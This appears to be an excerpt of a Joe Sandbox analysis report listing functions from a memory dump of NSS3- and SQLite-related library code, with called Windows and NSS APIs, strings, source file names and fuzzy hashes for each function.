Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C6B3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C6B3975), ref: 6C6B3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C6B3975), ref: 6C6B3E38

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C6B3975), ref: 6C6B3E52
DeleteFileW.KERNEL32(00000000), ref: 6C6B3E5D
free.MOZGLUE(00000000), ref: 6C6B3E64

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction ID: bd025cd338d460d62adbbb563dcac076ea3d99de314fd746ac3f703887829b34
Opcode Fuzzy Hash: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction Fuzzy Hash: 2CF0E9B13061023BFB1021B96C09E3B355CDB42ABAF140676BF29D55C1EE51CC2283B5

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

vl, xrefs: 6C5EBDD7
Pvl, xrefs: 6C5EBED4
winFileSize, xrefs: 6C5EBF07

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

%s at line %d of [%.10s], xrefs: 6C5F7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
database corruption, xrefs: 6C5F7D29

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C6E7D40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_ItemsAreEqual_Util.NSS3(?,?,6C6CED1B,?), ref: 6C6E7EA7
SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,6C6CED1B,?), ref: 6C6E7ECB

Strings

\^xl, xrefs: 6C6E7D53
\^xl, xrefs: 6C6E7E70

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Equal_ItemsUtil
String ID: \^xl$\^xl
API String ID: 2308943750-3794334396
Opcode ID: ddd78261020665ad9dd08f3f8721e5e06dd789fa4a82687c77442f48eedf5b10
Instruction ID: 7c4f8948b1c11ad9dc6af64a398d12b6f2f441d68eb099a5799ab75f4fdc4c6e
Opcode Fuzzy Hash: ddd78261020665ad9dd08f3f8721e5e06dd789fa4a82687c77442f48eedf5b10
Instruction Fuzzy Hash: B521B23161E205CBEB01CE58E9816A9B7E8BB0A318F140577EA09CFB02D331ED4187A9

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5E6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
database corruption, xrefs: 6C5E6D2A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C6CCF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C6CD01E

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6C6CD055

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6C6CCC55,00000107,00000000), ref: 6C6CD079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6CD08C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
Opcode ID: ca2a194be0179c0c499e03f04adc597ab1019f00bbe37d2bfbf386776c999125
Instruction ID: 8f1c8299b2e9274ceaa8b8bdb31ebce21fe16de31c0823e1fb037a3233707891
Opcode Fuzzy Hash: ca2a194be0179c0c499e03f04adc597ab1019f00bbe37d2bfbf386776c999125
Instruction Fuzzy Hash: 5741A3B1A04219DBE710CF19CC40BA9F7F5FF45308F0546AAE90CA7751E331A986CB99

